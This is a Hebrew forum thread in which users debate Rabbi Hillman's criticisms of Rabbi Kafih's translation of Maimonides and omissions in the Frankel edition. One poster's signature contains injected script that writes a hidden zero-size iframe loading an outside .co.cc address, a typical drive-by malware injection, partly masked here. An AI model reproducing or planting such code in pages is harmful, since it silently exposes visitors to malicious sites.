ואציין לאלו שבולטות לעין גם למי שאינו בקיא ואין לו אלא דברי הכותב הרב הילמן, כלומר כמוני.

כתב: אם כפר בזוהר או לא, לא פגשתי בספריו, אבל מצאתיו בהערה לפיהמ''ש מקואות פ''ח מ''ה שופך בוז על מ''ש הרוקח ומהרי''ל והאר''י שהוב''ד באו''ח סי' תר''ו בד''מ וט''ז ומג''א שהטובל משום תשובה צריך לטבול ג''פ. ומכנה אותם ''בעלי הדמיונות המצריכים ג''פ ויש ז''פ כאילו היו גלגולו של נעמן'' עכ''ל הט'. 

ובמחילה מכבוד תורת הרב הילמן, ומתורת הרוקח והמהריל והאר"י, אין שום צורך לטבול יותר  מפעם אחת. והרמב"ם עצמו כמדומה יצא נגד זה. ולומר שחובה לטבול עצמו יותר מפעם אחת הוא באמת המצאה שנובעת מטעמים פסיכולוגיים, ואין לעשותה חובה כי יוצאים מזה קלקולים. ואכן יש לתלות שלפחות אצל חלק מאלו שתבעו ג טבילות יש לתלות זאת בדמיונם. כך ייראה לי. אבל אני משער שגם אותי לא היה הרב הילמן כולל בספריו. סמיילי.

עוד כתב:
עיקר שכחתי. הי''ג עיקרים (אשר יסד הרמב''ם) כתובים בסידורי התפלה וכל כלל ישראל קוראים אני מאמין באמונה שלימה. ולא אני יודע בידיעה שלימה. 

ואיני יודע מה ראיה יש מנוסח שחיברו המעתיקים. וגם אם הרמב"ם עצמו היה כותבו צודק היה לכתוב "מאמין" ולא "יודע" לפי שבין העיקרים האלו יש דברים שנוסחו נגד הקראים ונגד אמונות שהיו מערערות את אמונת ההמון. והרי שם ידיעה אינו נופל אלא על מה שהוא אמיתי ואילו על מה שאינו מדוייק ייפול רק שם אמונה וכן הוא בפילוסופיה של זמננו.


ועוד כתב:

לא רק את הראב''ד ביזה. גם ברבנו אברהם בן הרמב''ם העיז פניו וכתב ברוב חוצפתו שהעיד עדות שקר בשם אביו הרמב''ם כי לא הבין את מה ששמע מפיו, כך כתוב בפירושו של הצדיק הזה להלכות מילה רפ''ג ראש עמ' תש''א. וכעין זה כ' עליו בפירושו להל' תפלה סוף עמ' קפ''ו. 

ואמנם הראב"ם יקר מאד אצלנו, אבל אצל דברי אביו הוא גם מפרש ולא רק מעיד על דעת אביו. והרי צעיר למדי היה הראב"ם, פחות מגיל 20, כאשר נפטר הרמב"ם, וכמה יכול היה להספיק לקבל מאביו, וכי שיתף אותו הרמב"ם בפילוסופיה שלו ששמר לעצמו. ועוד שמצאנו שהראב"ם קיבל ממיסטיקאים יהודים במצרים שהושפעו מן הסופים כאשר ניכר למעיין בספריו ששרדו וכי זו דרך אביו,אתמהה. אמנם יש לשער שבהלכה יכול היה להספיק יותר לקבל מאביו מאשר בפילוסופיה.

כתבתי כמה הערות קצרות ולא מסודרות, אבל מה שהרשיתי לעצמי לא הייתי מצפה מהרב הילמן, שכתב הקטגוריה שלו נגד הרב קאפח אפילו אינו מסודר כיאות, ונראה כאילו ישב וכתב כחורז מזכרונו את כל מה שיש לו לתפוס על הרב קאפח. ואם גם ניכר שהקדיש מחשבה מרובה לענין, לי לא נראה שכל הנקודות שאסף די בהן להפחית מערכו של הרב קאפח, ומדוע התעלם מן הדברים הטובים והישרים שיש בפירושו. סוף כל סוף יחסו של הרב הילמן לרב קאפח אינו מן הדברים שהרב הילמן, שאכן היה גאון גדול ותרם לעולם הישיבות, אמור להתגאות בהם, ובישיבה של מעלה ודאי שהוא בוש בדברים אלו והיה חוזר מהם אם היה יכול.


נוספו כמה תיקונים לדברים שלא היו ברורים מספיק.
_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 20/07/2011 08:28:27




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2011 13:51 לינק ישיר 

מיימוני. חן חן על הביקורת החלקית אבל מסודרת על דברי הילמן -לענ״ד זה יותר משנאת המן מאשר אהבת מרדכי...- אבל לכל הפחות דיברת ולא החרשת . כשלמדתי בסלבודקא היה שולח הגרד״ל לברר אצל מומחים לערבית מקומות שנתקשה בהם וידע שיש שינויים המיישבים העניין בתרגומו של הרי״ק אולם סירב אפילו לבדוק מהו תרגומו , אמרו אז בשמו שהרי״ק למד כל הקושיות והסתירות שבחיבורי הר״מ ורק לאחר מכן תירגם לפי הצורך ( כל חוקר קורות חייו של הרי״ק יצחק לשמע התיאוריה מה גם שלמרות שהיה ת״ח מובהק לתלות בו עד כדי כך זו קצת גוזמא ויתרה מכך מניין ידע את הסתירות הנובעות מהחילוקים הישיבתיים כצווי דינים ועוד שנתחדשו במאה האחרונה...) . לענ״ד טענתו של הילמן שאף פעם לא חזר בו הרי״ק ולא הודה ברבים בטעות יש בה משהו לומר על אישיותו ולא על כושר תרגומו.

תוקן על ידי pi_haton ב- 20/07/2011 14:00:35




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2011 14:43 לינק ישיר 

מפי עדות: הגרד"ל מסר את הגהותיו למשניות [כהרגלו למסור הגהות שנדפסו בכמה ספרים בעילום שמו ובגילוי שמו] טהרות לאיזה ספר לא זוכר כרגע מהו בתנאי שלא יביא אף דבר מתרגומו של הרי"ק. 


מיימוני
עדיין נראה לי שזה קצת חוצפא להגיד שראב"ם העיד עדות שקר. כמובן לא חייבים לקבל כל פרשנות שלו לדברי אביו. וכמדומה לי שרוב המפרשים לא מקבלים את דעתו כמכרעת. ואולי בפרט לא לגבי הפילוסופיה שלו. בכל זאת אפשר להתנסח ביתר עדינות ולא בגסות כמנהג הרב קאפח.
וכמו כן לגבי מנהגים שונים. 
בכל זאת כל שורת הטענות לא מצדיקה מחיקתו לגמרי.
בשאלה לגבי פירוש מילת אתעקד הנה כנראה אין לה תרגום מדייק לגמרי לעברית וכמו הרבה מילים שמבטאים יותר במדוייק בשפות שונות. ופירושה המדוייק הוא משהו בין לדעת ולהאמין. אבל אי אפשר להתעלם מכך שהרמב"ם לא כתב בשום מקום בחיבורי בעברית את המונח להאמין לגבי האמונה בה'. כך שברור שהרמב"ם עצמו היה מתרגם לדעת ולא להאמין.  וכדעת הרב קאפח. 
[אכן הרב קאפח עצמו כנראה משתמש בשני התרגמים בשריריתות שלגבי כל אמונה נכונה לדעתו הוא כותב דעת ולגבי אמונה לא נכונה אמונה. תוכל לבדוק לבד בספר אמונות ודעות שלו. ] 
ובכל זאת לתרגום הרב קאפח מעלות רבות על התרגומים הקודמים. ולהתעלם ממנו הוא סילוף עובדות. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2011 15:15 לינק ישיר 

הרב קאפח לא כותב על ראב"ם את מה שהילמן מייחס לו.
הנה העמודים הרלוונטיים.


תוקן על ידי מרחביה ב- 20/07/2011 15:24:47




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2011 16:40 לינק ישיר 

באף אחד מספרי מוסד הרב קוק אין תיקונים במהדורה שניה, ומסתבר שהם האחראים ומטעמים כספיים למה שאין תיקונים בפירוש המשנה או במורה מאז שהדפיסום.



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2011 17:44 לינק ישיר 

תודה לכל המגיבים.

למרחביה, יישר כוח ומעתה יש לשאול איך יכול היה הרב הילמן לכתוב כן, והרי מייחסים לו זכרון פנומנלי. ושמא ראה כן במקום אחר מכתבי הרב קאפח?

והעיקר כדברי יהי אור, שגם אם נכונים היו דברי הרב הילמן (וראינו שלא כולם מדוייקים) עדיין אין בזה נימוק מוצדק להשמטה. ולעולם הסיבות הפוליטיות עיקר.

***
אציין שגם אני שמעתי את מו"ר ע"ה (הגרג"נ) מביע זלזול בתירגום הרב קפאח ונדמה שאולי בסוף העיון בכמה ספרים אמר להסתכל בו ושמא לא, ושכחתי. אלא שאז הלכתי שבי אחרי הגישה הזו ותמה אני שמו"ר התנגד לספר וכמדומה שאמר שמתרגם ומשנה גרסאות, כפי ההאשמה הרווחת נגדו. ואולי יימצאו כאן עוד מתלמידי מרן כי איני זוכר יותר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2011 17:51 לינק ישיר 

מיימוני
האם הרב נדל ידע ערבית?



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2011 20:12 לינק ישיר 

איני יודע.  סבורני שלא. אם כי למד הרבה מאד בעצמו. כמו שרגילים אצלנו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-23/7/2011 23:35 לינק ישיר 

עוד השמטות בספר המפתח:
בהל' שבת פרק י"א בהלכה שמתרת להרוג כינה בשבת משום שאינה פרה ורבה אין שום איזכור של כל הקושי והפולמוס בענין זה
[אמנם אינו קשה כ"כ שהמפתח לס' זמנים חסר מאד בד"כ] 
וכן בהל' מאכלות אסורות פרק ב'  [הלכה י"ג ואילך] בכל הלכות שרצים שאינם פרים ורבים יש התעלמות מוחלטת של הקושי הזועק בענין זה



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > צנזורה במהדורת שבתי פרנקל
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 לדף הבא סך הכל 4 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.